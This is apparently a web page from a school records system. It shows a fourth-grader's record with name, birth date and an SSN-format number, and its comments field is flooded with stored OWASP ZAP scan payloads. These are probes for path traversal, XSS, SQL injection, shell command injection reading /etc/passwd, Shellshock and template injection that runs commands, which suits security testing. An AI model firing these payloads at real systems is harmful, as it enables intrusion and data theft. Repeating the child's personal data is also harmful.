Student Record: Liam Thompson

Personal Information

Full Name
Liam Thompson
Email
liam.thompson@student.cainc.com
Student ID
STU-20088
Date of Birth
2013-09-03
SSN
987-65-4321
Detail
4th Grade

Status

Enrollment
active
GPA
3.5

API Access

JSON: /api/records/2

Lesson History

IDDescriptionGradeScorePeriod
MATH-4BGrade 4 Math - FractionsB82Spring 2026

Comments & Notes

Mr. David Okonkwo — 3/14/2026, 12:00:00 AM
Liam needs additional support with fractions.
ZAP — 6/11/2026, 8:12:45 PM
c:/Windows/system.ini — 6/11/2026, 8:17:48 PM
../../../../../../../../../../../../../../../../Windows/system.ini — 6/11/2026, 8:17:48 PM
c:\Windows\system.ini — 6/11/2026, 8:17:48 PM
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini — 6/11/2026, 8:17:48 PM
/etc/passwd — 6/11/2026, 8:17:48 PM
../../../../../../../../../../../../../../../../etc/passwd — 6/11/2026, 8:17:48 PM
/ — 6/11/2026, 8:17:48 PM
../../../../../../../../../../../../../../../../ — 6/11/2026, 8:17:48 PM
c:/ — 6/11/2026, 8:17:48 PM
c:\ — 6/11/2026, 8:17:48 PM
WEB-INF/web.xml — 6/11/2026, 8:17:48 PM
WEB-INF\web.xml — 6/11/2026, 8:17:48 PM
/WEB-INF/web.xml — 6/11/2026, 8:17:48 PM
\WEB-INF\web.xml — 6/11/2026, 8:17:48 PM
thishouldnotexistandhopefullyitwillnot — 6/11/2026, 8:17:48 PM
ZAP — 6/11/2026, 8:17:48 PM
c:/Windows/system.ini
ZAP — 6/11/2026, 8:17:48 PM
../../../../../../../../../../../../../../../../Windows/system.ini
ZAP — 6/11/2026, 8:17:48 PM
c:\Windows\system.ini
ZAP — 6/11/2026, 8:17:48 PM
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini
ZAP — 6/11/2026, 8:17:48 PM
/etc/passwd
ZAP — 6/11/2026, 8:17:49 PM
../../../../../../../../../../../../../../../../etc/passwd
ZAP — 6/11/2026, 8:17:49 PM
/
ZAP — 6/11/2026, 8:17:49 PM
../../../../../../../../../../../../../../../../
ZAP — 6/11/2026, 8:17:49 PM
c:/
ZAP — 6/11/2026, 8:17:49 PM
c:\
ZAP — 6/11/2026, 8:17:49 PM
WEB-INF/web.xml
ZAP — 6/11/2026, 8:17:49 PM
WEB-INF\web.xml
ZAP — 6/11/2026, 8:17:49 PM
/WEB-INF/web.xml
ZAP — 6/11/2026, 8:17:49 PM
\WEB-INF\web.xml
ZAP — 6/11/2026, 8:17:49 PM
thishouldnotexistandhopefullyitwillnot
http://www.google.com/ — 6/11/2026, 8:17:54 PM
http://www.google.com:80/ — 6/11/2026, 8:17:54 PM
http://www.google.com — 6/11/2026, 8:17:54 PM
http://www.google.com/search?q=ZAP — 6/11/2026, 8:17:54 PM
http://www.google.com:80/search?q=ZAP — 6/11/2026, 8:17:54 PM
www.google.com/ — 6/11/2026, 8:17:54 PM
www.google.com:80/ — 6/11/2026, 8:17:54 PM
www.google.com — 6/11/2026, 8:17:54 PM
www.google.com/search?q=ZAP — 6/11/2026, 8:17:54 PM
www.google.com:80/search?q=ZAP — 6/11/2026, 8:17:54 PM
ZAP — 6/11/2026, 8:17:54 PM
http://www.google.com/
ZAP — 6/11/2026, 8:17:54 PM
http://www.google.com:80/
ZAP — 6/11/2026, 8:17:54 PM
http://www.google.com
ZAP — 6/11/2026, 8:17:54 PM
http://www.google.com/search?q=ZAP
ZAP — 6/11/2026, 8:17:54 PM
http://www.google.com:80/search?q=ZAP
ZAP — 6/11/2026, 8:17:54 PM
www.google.com/
ZAP — 6/11/2026, 8:17:54 PM
www.google.com:80/
ZAP — 6/11/2026, 8:17:54 PM
www.google.com
ZAP — 6/11/2026, 8:17:54 PM
www.google.com/search?q=ZAP
ZAP — 6/11/2026, 8:17:54 PM
www.google.com:80/search?q=ZAP
() { :;}; echo 'x-powered-by: ShellShock-Vulnerable' — 6/11/2026, 8:17:59 PM
() { :;}; /bin/sleep 15 — 6/11/2026, 8:17:59 PM
ZAP — 6/11/2026, 8:17:59 PM
() { :;}; echo 'x-powered-by: ShellShock-Vulnerable'
ZAP — 6/11/2026, 8:17:59 PM
() { :;}; /bin/sleep 15
Anonymous — 6/11/2026, 8:18:11 PM
Anonymous — 6/11/2026, 8:18:11 PM
3658588432861448937.owasp.org — 6/11/2026, 8:18:16 PM
https://3658588432861448937.owasp.org — 6/11/2026, 8:18:16 PM
https://3658588432861448937%2eowasp%2eorg — 6/11/2026, 8:18:16 PM
5;URL='https://3658588432861448937.owasp.org' — 6/11/2026, 8:18:16 PM
URL='http://3658588432861448937.owasp.org' — 6/11/2026, 8:18:16 PM
https://3658588432861448937.owasp.org/?ZAP — 6/11/2026, 8:18:17 PM
5;URL='https://3658588432861448937.owasp.org/?ZAP' — 6/11/2026, 8:18:17 PM
https://\3658588432861448937.owasp.org — 6/11/2026, 8:18:17 PM
http://\3658588432861448937.owasp.org — 6/11/2026, 8:18:17 PM
ZAP — 6/11/2026, 8:18:17 PM
3658588432861448937.owasp.org
ZAP — 6/11/2026, 8:18:17 PM
https://3658588432861448937.owasp.org
ZAP — 6/11/2026, 8:18:17 PM
https://3658588432861448937%2eowasp%2eorg
ZAP — 6/11/2026, 8:18:17 PM
5;URL='https://3658588432861448937.owasp.org'
ZAP — 6/11/2026, 8:18:17 PM
URL='http://3658588432861448937.owasp.org'
ZAP — 6/11/2026, 8:18:17 PM
https://3658588432861448937.owasp.org/?
ZAP — 6/11/2026, 8:18:17 PM
5;URL='https://3658588432861448937.owasp.org/?'
ZAP — 6/11/2026, 8:18:17 PM
https://\3658588432861448937.owasp.org
ZAP — 6/11/2026, 8:18:17 PM
http://\3658588432861448937.owasp.org
<!--#EXEC cmd="ls /"--> — 6/11/2026, 8:18:21 PM
"><!--#EXEC cmd="ls /"-->< — 6/11/2026, 8:18:21 PM
<!--#EXEC cmd="dir \"--> — 6/11/2026, 8:18:21 PM
"><!--#EXEC cmd="dir \"-->< — 6/11/2026, 8:18:21 PM
ZAP — 6/11/2026, 8:18:21 PM
ZAP — 6/11/2026, 8:18:21 PM
"><
ZAP — 6/11/2026, 8:18:21 PM
ZAP — 6/11/2026, 8:18:21 PM
"><
0W45pz4p — 6/11/2026, 8:18:25 PM
</strong><scrIpt>alert(1);</scRipt><strong> — 6/11/2026, 8:18:25 PM
</strong><scrIpt>alert(1);</scRipt><strong> — 6/11/2026, 8:18:25 PM
</strong><img src=x onerror=prompt()><strong> — 6/11/2026, 8:18:25 PM
<img src=x onerror=prompt()> — 6/11/2026, 8:18:25 PM
<img src=x onerror=prompt()> — 6/11/2026, 8:18:25 PM
ZAP — 6/11/2026, 8:18:25 PM
0W45pz4p
ZAP — 6/11/2026, 8:18:25 PM
ZAP — 6/11/2026, 8:18:26 PM
ZAP — 6/11/2026, 8:18:26 PM
ZAP — 6/11/2026, 8:18:26 PM
ZAP — 6/11/2026, 8:18:26 PM
<img src=x onerror=prompt()>
ZAP — 6/11/2026, 8:18:26 PM
zApPX8sS — 6/11/2026, 8:18:27 PM
ZAP — 6/11/2026, 8:18:27 PM
zApPX9sS
ZAP — 6/11/2026, 8:18:30 PM
0W45pz4p — 6/11/2026, 8:18:35 PM
</strong><script>alert(1);</script><strong> — 6/11/2026, 8:18:35 PM
<img src=x onerror=alert(1);> — 6/11/2026, 8:18:35 PM
</div><script>alert(1);</script><div> — 6/11/2026, 8:18:35 PM
<img src=x onerror=alert(1);> — 6/11/2026, 8:18:35 PM
</strong><script>alert(1);</script><strong> — 6/11/2026, 8:18:35 PM
<img src=x onerror=alert(1);> — 6/11/2026, 8:18:35 PM
ZAP — 6/11/2026, 8:18:35 PM
0W45pz4p
ZAP — 6/11/2026, 8:18:35 PM
' — 6/11/2026, 8:18:37 PM
ZAP' — 6/11/2026, 8:18:37 PM
" — 6/11/2026, 8:18:37 PM
ZAP" — 6/11/2026, 8:18:37 PM
; — 6/11/2026, 8:18:37 PM
ZAP; — 6/11/2026, 8:18:37 PM
'( — 6/11/2026, 8:18:37 PM
ZAP'( — 6/11/2026, 8:18:37 PM
ZAP — 6/11/2026, 8:18:37 PM
ZAP — 6/11/2026, 8:18:37 PM
ZAP AND 1=1 -- — 6/11/2026, 8:18:37 PM
ZAP AND 1=2 -- — 6/11/2026, 8:18:37 PM
ZAP OR 1=1 -- — 6/11/2026, 8:18:37 PM
ZAP' AND '1'='1' -- — 6/11/2026, 8:18:37 PM
ZAP' AND '1'='2' -- — 6/11/2026, 8:18:37 PM
ZAP' OR '1'='1' -- — 6/11/2026, 8:18:37 PM
ZAP UNION ALL select NULL -- — 6/11/2026, 8:18:37 PM
ZAP' UNION ALL select NULL -- — 6/11/2026, 8:18:37 PM
ZAP" UNION ALL select NULL -- — 6/11/2026, 8:18:37 PM
ZAP) UNION ALL select NULL -- — 6/11/2026, 8:18:37 PM
ZAP') UNION ALL select NULL -- — 6/11/2026, 8:18:37 PM
ZAP — 6/11/2026, 8:18:37 PM
ZAP — 6/11/2026, 8:18:37 PM
'
ZAP — 6/11/2026, 8:18:37 PM
'
ZAP — 6/11/2026, 8:18:37 PM
"
ZAP — 6/11/2026, 8:18:37 PM
"
ZAP — 6/11/2026, 8:18:37 PM
;
ZAP — 6/11/2026, 8:18:37 PM
;
ZAP — 6/11/2026, 8:18:37 PM
'(
ZAP — 6/11/2026, 8:18:37 PM
'(
ZAP — 6/11/2026, 8:18:37 PM
ZAP — 6/11/2026, 8:18:37 PM
ZAP — 6/11/2026, 8:18:37 PM
AND 1=1 --
ZAP — 6/11/2026, 8:18:37 PM
AND 1=2 --
ZAP — 6/11/2026, 8:18:37 PM
OR 1=1 --
ZAP — 6/11/2026, 8:18:37 PM
' AND '1'='1' --
ZAP — 6/11/2026, 8:18:37 PM
' AND '1'='2' --
ZAP — 6/11/2026, 8:18:37 PM
' OR '1'='1' --
ZAP — 6/11/2026, 8:18:37 PM
UNION ALL select NULL --
ZAP — 6/11/2026, 8:18:38 PM
' UNION ALL select NULL --
ZAP — 6/11/2026, 8:18:38 PM
" UNION ALL select NULL --
ZAP — 6/11/2026, 8:18:38 PM
) UNION ALL select NULL --
ZAP — 6/11/2026, 8:18:38 PM
') UNION ALL select NULL --
ZAP — 6/11/2026, 8:18:38 PM
ZAP / sleep(15) — 6/11/2026, 8:18:44 PM
ZAP' / sleep(15) / ' — 6/11/2026, 8:18:44 PM
ZAP" / sleep(15) / " — 6/11/2026, 8:18:44 PM
ZAP and 0 in (select sleep(15) ) -- — 6/11/2026, 8:18:44 PM
ZAP' and 0 in (select sleep(15) ) -- — 6/11/2026, 8:18:44 PM
ZAP" and 0 in (select sleep(15) ) -- — 6/11/2026, 8:18:44 PM
ZAP where 0 in (select sleep(15) ) -- — 6/11/2026, 8:18:44 PM
ZAP' where 0 in (select sleep(15) ) -- — 6/11/2026, 8:18:44 PM
ZAP" where 0 in (select sleep(15) ) -- — 6/11/2026, 8:18:44 PM
ZAP or 0 in (select sleep(15) ) -- — 6/11/2026, 8:18:44 PM
ZAP — 6/11/2026, 8:18:44 PM
/ sleep(15)
ZAP — 6/11/2026, 8:18:44 PM
' / sleep(15) / '
ZAP — 6/11/2026, 8:18:44 PM
" / sleep(15) / "
ZAP — 6/11/2026, 8:18:44 PM
and 0 in (select sleep(15) ) --
ZAP — 6/11/2026, 8:18:44 PM
' and 0 in (select sleep(15) ) --
ZAP — 6/11/2026, 8:18:44 PM
" and 0 in (select sleep(15) ) --
ZAP — 6/11/2026, 8:18:44 PM
where 0 in (select sleep(15) ) --
ZAP — 6/11/2026, 8:18:44 PM
' where 0 in (select sleep(15) ) --
ZAP — 6/11/2026, 8:18:44 PM
" where 0 in (select sleep(15) ) --
ZAP — 6/11/2026, 8:18:44 PM
or 0 in (select sleep(15) ) --
; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 6/11/2026, 8:18:48 PM
'; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 6/11/2026, 8:18:48 PM
"; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 6/11/2026, 8:18:48 PM
); select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 6/11/2026, 8:18:48 PM
"java.lang.Thread.sleep"(15000) — 6/11/2026, 8:18:48 PM
ZAP / "java.lang.Thread.sleep"(15000) — 6/11/2026, 8:18:48 PM
ZAP' / "java.lang.Thread.sleep"(15000) / ' — 6/11/2026, 8:18:48 PM
ZAP" / "java.lang.Thread.sleep"(15000) / " — 6/11/2026, 8:18:48 PM
ZAP and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') -- — 6/11/2026, 8:18:48 PM
ZAP' and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') -- — 6/11/2026, 8:18:48 PM
ZAP — 6/11/2026, 8:18:48 PM
; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 6/11/2026, 8:18:48 PM
'; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 6/11/2026, 8:18:48 PM
"; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 6/11/2026, 8:18:48 PM
); select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 6/11/2026, 8:18:48 PM
"java.lang.Thread.sleep"(15000)
ZAP — 6/11/2026, 8:18:48 PM
/ "java.lang.Thread.sleep"(15000)
ZAP — 6/11/2026, 8:18:48 PM
' / "java.lang.Thread.sleep"(15000) / '
ZAP — 6/11/2026, 8:18:48 PM
" / "java.lang.Thread.sleep"(15000) / "
ZAP — 6/11/2026, 8:18:48 PM
and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --
ZAP — 6/11/2026, 8:18:48 PM
' and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --
(DBMS_SESSION.SLEEP(15)) — 6/11/2026, 8:18:52 PM
ZAP / (DBMS_SESSION.SLEEP(15)) — 6/11/2026, 8:18:52 PM
ZAP' / (DBMS_SESSION.SLEEP(15)) / ' — 6/11/2026, 8:18:52 PM
ZAP" / (DBMS_SESSION.SLEEP(15)) / " — 6/11/2026, 8:18:52 PM
ZAP and exists (DBMS_SESSION.SLEEP(15)) -- — 6/11/2026, 8:18:52 PM
ZAP — 6/11/2026, 8:18:52 PM
(DBMS_SESSION.SLEEP(15))
ZAP — 6/11/2026, 8:18:52 PM
/ (DBMS_SESSION.SLEEP(15))
ZAP — 6/11/2026, 8:18:52 PM
' / (DBMS_SESSION.SLEEP(15)) / '
ZAP — 6/11/2026, 8:18:52 PM
" / (DBMS_SESSION.SLEEP(15)) / "
ZAP — 6/11/2026, 8:18:52 PM
and exists (DBMS_SESSION.SLEEP(15)) --
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end — 6/11/2026, 8:18:56 PM
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end -- — 6/11/2026, 8:18:56 PM
'case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end -- — 6/11/2026, 8:18:56 PM
"case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end -- — 6/11/2026, 8:18:56 PM
ZAP / case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end — 6/11/2026, 8:18:56 PM
ZAP — 6/11/2026, 8:18:56 PM
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end
ZAP — 6/11/2026, 8:18:56 PM
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
ZAP — 6/11/2026, 8:18:56 PM
'case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
ZAP — 6/11/2026, 8:18:56 PM
"case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
ZAP — 6/11/2026, 8:18:56 PM
/ case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end
ZAP WAITFOR DELAY '0:0:15' -- — 6/11/2026, 8:19:00 PM
ZAP' WAITFOR DELAY '0:0:15' -- — 6/11/2026, 8:19:00 PM
ZAP" WAITFOR DELAY '0:0:15' -- — 6/11/2026, 8:19:00 PM
ZAP) WAITFOR DELAY '0:0:15' -- — 6/11/2026, 8:19:00 PM
ZAP) ' WAITFOR DELAY '0:0:15' -- — 6/11/2026, 8:19:00 PM
ZAP) " WAITFOR DELAY '0:0:15' -- — 6/11/2026, 8:19:00 PM
ZAP)) WAITFOR DELAY '0:0:15' -- — 6/11/2026, 8:19:00 PM
ZAP)) ' WAITFOR DELAY '0:0:15' -- — 6/11/2026, 8:19:00 PM
ZAP)) " WAITFOR DELAY '0:0:15' -- — 6/11/2026, 8:19:00 PM
ZAP) WAITFOR DELAY '0:0:15' ( — 6/11/2026, 8:19:00 PM
ZAP — 6/11/2026, 8:19:00 PM
WAITFOR DELAY '0:0:15' --
ZAP — 6/11/2026, 8:19:00 PM
' WAITFOR DELAY '0:0:15' --
ZAP — 6/11/2026, 8:19:00 PM
" WAITFOR DELAY '0:0:15' --
ZAP — 6/11/2026, 8:19:00 PM
) WAITFOR DELAY '0:0:15' --
ZAP — 6/11/2026, 8:19:00 PM
) ' WAITFOR DELAY '0:0:15' --
ZAP — 6/11/2026, 8:19:00 PM
) " WAITFOR DELAY '0:0:15' --
ZAP — 6/11/2026, 8:19:00 PM
)) WAITFOR DELAY '0:0:15' --
ZAP — 6/11/2026, 8:19:00 PM
)) ' WAITFOR DELAY '0:0:15' --
ZAP — 6/11/2026, 8:19:00 PM
)) " WAITFOR DELAY '0:0:15' --
ZAP — 6/11/2026, 8:19:00 PM
) WAITFOR DELAY '0:0:15' (
ZAP — 6/11/2026, 8:19:04 PM
";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var=" — 6/11/2026, 8:19:09 PM
';print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var=' — 6/11/2026, 8:19:09 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))} — 6/11/2026, 8:19:09 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\ — 6/11/2026, 8:19:09 PM
;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110)); — 6/11/2026, 8:19:09 PM
"+response.write(797,925*73,505)+" — 6/11/2026, 8:19:09 PM
+response.write({0}*{1})+ — 6/11/2026, 8:19:09 PM
response.write(797,925*73,505) — 6/11/2026, 8:19:09 PM
ZAP — 6/11/2026, 8:19:09 PM
";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var="
ZAP — 6/11/2026, 8:19:09 PM
';print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var='
ZAP — 6/11/2026, 8:19:09 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}
ZAP — 6/11/2026, 8:19:09 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\
ZAP — 6/11/2026, 8:19:09 PM
;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));
ZAP — 6/11/2026, 8:19:09 PM
"+response.write(303,707*555,958)+"
ZAP — 6/11/2026, 8:19:09 PM
+response.write({0}*{1})+
ZAP — 6/11/2026, 8:19:09 PM
response.write(303,707*555,958)
cat /etc/passwd — 6/11/2026, 8:19:14 PM
ZAP&cat /etc/passwd& — 6/11/2026, 8:19:14 PM
ZAP;cat /etc/passwd; — 6/11/2026, 8:19:14 PM
ZAP"&cat /etc/passwd&" — 6/11/2026, 8:19:14 PM
ZAP";cat /etc/passwd;" — 6/11/2026, 8:19:14 PM
ZAP'&cat /etc/passwd&' — 6/11/2026, 8:19:14 PM
ZAP';cat /etc/passwd;' — 6/11/2026, 8:19:14 PM
type %SYSTEMROOT%\win.ini — 6/11/2026, 8:19:14 PM
ZAP&type %SYSTEMROOT%\win.ini — 6/11/2026, 8:19:14 PM
ZAP|type %SYSTEMROOT%\win.ini — 6/11/2026, 8:19:14 PM
ZAP"&type %SYSTEMROOT%\win.ini&" — 6/11/2026, 8:19:14 PM
ZAP"|type %SYSTEMROOT%\win.ini — 6/11/2026, 8:19:14 PM
ZAP'&type %SYSTEMROOT%\win.ini&' — 6/11/2026, 8:19:14 PM
ZAP'|type %SYSTEMROOT%\win.ini — 6/11/2026, 8:19:14 PM
get-help — 6/11/2026, 8:19:14 PM
ZAP;get-help — 6/11/2026, 8:19:14 PM
ZAP";get-help — 6/11/2026, 8:19:14 PM
ZAP';get-help — 6/11/2026, 8:19:14 PM
ZAP;get-help # — 6/11/2026, 8:19:14 PM
ZAP — 6/11/2026, 8:19:14 PM
cat /etc/passwd
ZAP — 6/11/2026, 8:19:14 PM
&cat /etc/passwd&
ZAP — 6/11/2026, 8:19:14 PM
;cat /etc/passwd;
ZAP — 6/11/2026, 8:19:14 PM
"&cat /etc/passwd&"
ZAP — 6/11/2026, 8:19:14 PM
";cat /etc/passwd;"
ZAP — 6/11/2026, 8:19:14 PM
'&cat /etc/passwd&'
ZAP — 6/11/2026, 8:19:14 PM
';cat /etc/passwd;'
ZAP — 6/11/2026, 8:19:14 PM
type %SYSTEMROOT%\win.ini
ZAP — 6/11/2026, 8:19:14 PM
&type %SYSTEMROOT%\win.ini
ZAP — 6/11/2026, 8:19:14 PM
|type %SYSTEMROOT%\win.ini
ZAP — 6/11/2026, 8:19:14 PM
"&type %SYSTEMROOT%\win.ini&"
ZAP — 6/11/2026, 8:19:14 PM
"|type %SYSTEMROOT%\win.ini
ZAP — 6/11/2026, 8:19:14 PM
'&type %SYSTEMROOT%\win.ini&'
ZAP — 6/11/2026, 8:19:14 PM
'|type %SYSTEMROOT%\win.ini
ZAP — 6/11/2026, 8:19:14 PM
get-help
ZAP — 6/11/2026, 8:19:14 PM
;get-help
ZAP — 6/11/2026, 8:19:14 PM
";get-help
ZAP — 6/11/2026, 8:19:14 PM
';get-help
ZAP — 6/11/2026, 8:19:14 PM
;get-help #
"' — 6/11/2026, 8:19:15 PM
<!-- — 6/11/2026, 8:19:15 PM
]]> — 6/11/2026, 8:19:15 PM
ZAP — 6/11/2026, 8:19:15 PM
"'
ZAP — 6/11/2026, 8:19:15 PM
]]>
zj 3256*5148 zj — 6/11/2026, 8:19:25 PM
zj{4580*2731}zj — 6/11/2026, 8:19:25 PM
zj${2924*9552}zj — 6/11/2026, 8:19:25 PM
zj#{1266*9719}zj — 6/11/2026, 8:19:25 PM
zj{#9259*1638}zj — 6/11/2026, 8:19:25 PM
zj{@3914*9252}zj — 6/11/2026, 8:19:25 PM
zj{{5415*5592}}zj — 6/11/2026, 8:19:25 PM
zj{{=5947*3178}}zj — 6/11/2026, 8:19:25 PM
zj<%=5955*4668%>zj — 6/11/2026, 8:19:25 PM
zj#set($x=6947*3988)${x}zj — 6/11/2026, 8:19:25 PM
zj<p th:text="${4044*2620}"></p>zj — 6/11/2026, 8:19:25 PM
zj{@math key="3868" method="multiply" operand="9887"/}zj — 6/11/2026, 8:19:25 PM
zj{{82230|add:31330}}zj — 6/11/2026, 8:19:25 PM
zj{{print "3785" "8649"}}zj — 6/11/2026, 8:19:25 PM
ZAP — 6/11/2026, 8:19:26 PM
zj 2619*9309 zj
ZAP — 6/11/2026, 8:19:26 PM
zj{4887*5603}zj
ZAP — 6/11/2026, 8:19:26 PM
zj${8352*8963}zj
ZAP — 6/11/2026, 8:19:26 PM
zj#{1936*7144}zj
ZAP — 6/11/2026, 8:19:26 PM
zj{#9782*7694}zj
ZAP — 6/11/2026, 8:19:26 PM
zj{@9295*9535}zj
ZAP — 6/11/2026, 8:19:26 PM
zj{{1663*6742}}zj
ZAP — 6/11/2026, 8:19:26 PM
zj{{=5424*4894}}zj
ZAP — 6/11/2026, 8:19:26 PM
zj<%=8182*1189%>zj
ZAP — 6/11/2026, 8:19:26 PM
zj#set($x=1741*2004)${x}zj
ZAP — 6/11/2026, 8:19:26 PM
zj

zj
ZAP — 6/11/2026, 8:19:26 PM
zj{@math key="4447" method="multiply" operand="3270"/}zj
ZAP — 6/11/2026, 8:19:26 PM
zj{{53220|add:77710}}zj
ZAP — 6/11/2026, 8:19:26 PM
zj{{print "3200" "9300"}}zj
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 15") } — 6/11/2026, 8:19:31 PM
#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 15")) #set($null=$proc.waitFor()) ${null} — 6/11/2026, 8:19:31 PM
{{= global.process.mainModule.require('child_process').execSync('sleep 15').toString() }} — 6/11/2026, 8:19:31 PM
<%= global.process.mainModule.require('child_process').execSync('sleep 15').toString()%> — 6/11/2026, 8:19:31 PM
#{global.process.mainModule.require('child_process').execSync('sleep 15').toString()} — 6/11/2026, 8:19:31 PM
{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 15').toString()\")")()}} — 6/11/2026, 8:19:31 PM
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 15")}} — 6/11/2026, 8:19:31 PM
${__import__("subprocess").check_output("sleep 15", shell=True)} — 6/11/2026, 8:19:31 PM
{{__import__("subprocess").check_output("sleep 15", shell=True)}} — 6/11/2026, 8:19:31 PM
<%=%x(sleep 15)%> — 6/11/2026, 8:19:31 PM
#{%x(sleep 15)} — 6/11/2026, 8:19:31 PM
{system("sleep 15")} — 6/11/2026, 8:19:31 PM
ZAP — 6/11/2026, 8:19:31 PM
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 15") }
ZAP — 6/11/2026, 8:19:31 PM
#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 15")) #set($null=$proc.waitFor()) ${null}
ZAP — 6/11/2026, 8:19:31 PM
{{= global.process.mainModule.require('child_process').execSync('sleep 15').toString() }}
ZAP — 6/11/2026, 8:19:31 PM
<%= global.process.mainModule.require('child_process').execSync('sleep 15').toString()%>
ZAP — 6/11/2026, 8:19:31 PM
#{global.process.mainModule.require('child_process').execSync('sleep 15').toString()}
ZAP — 6/11/2026, 8:19:31 PM
{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 15').toString()\")")()}}
ZAP — 6/11/2026, 8:19:31 PM
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 15")}}
ZAP — 6/11/2026, 8:19:31 PM
${__import__("subprocess").check_output("sleep 15", shell=True)}
ZAP — 6/11/2026, 8:19:31 PM
{{__import__("subprocess").check_output("sleep 15", shell=True)}}
ZAP — 6/11/2026, 8:19:31 PM
<%=%x(sleep 15)%>
ZAP — 6/11/2026, 8:19:31 PM
#{%x(sleep 15)}
ZAP — 6/11/2026, 8:19:31 PM
{system("sleep 15")}
ZAP&sleep 15.0& — 6/11/2026, 8:19:36 PM
ZAP;sleep 15.0; — 6/11/2026, 8:19:36 PM
ZAP"&sleep 15.0&" — 6/11/2026, 8:19:36 PM
ZAP";sleep 15.0;" — 6/11/2026, 8:19:36 PM
ZAP'&sleep 15.0&' — 6/11/2026, 8:19:36 PM
ZAP';sleep 15.0;' — 6/11/2026, 8:19:36 PM
ZAP&timeout /T 15.0 — 6/11/2026, 8:19:36 PM
ZAP|timeout /T 15.0 — 6/11/2026, 8:19:36 PM
ZAP"&timeout /T 15.0&" — 6/11/2026, 8:19:36 PM
ZAP"|timeout /T 15.0 — 6/11/2026, 8:19:36 PM
ZAP'&timeout /T 15.0&' — 6/11/2026, 8:19:36 PM
ZAP'|timeout /T 15.0 — 6/11/2026, 8:19:36 PM
ZAP;start-sleep -s 15.0 — 6/11/2026, 8:19:36 PM
ZAP";start-sleep -s 15.0 — 6/11/2026, 8:19:36 PM
ZAP';start-sleep -s 15.0 — 6/11/2026, 8:19:36 PM
ZAP;start-sleep -s 15.0 # — 6/11/2026, 8:19:36 PM
ZAP — 6/11/2026, 8:19:36 PM
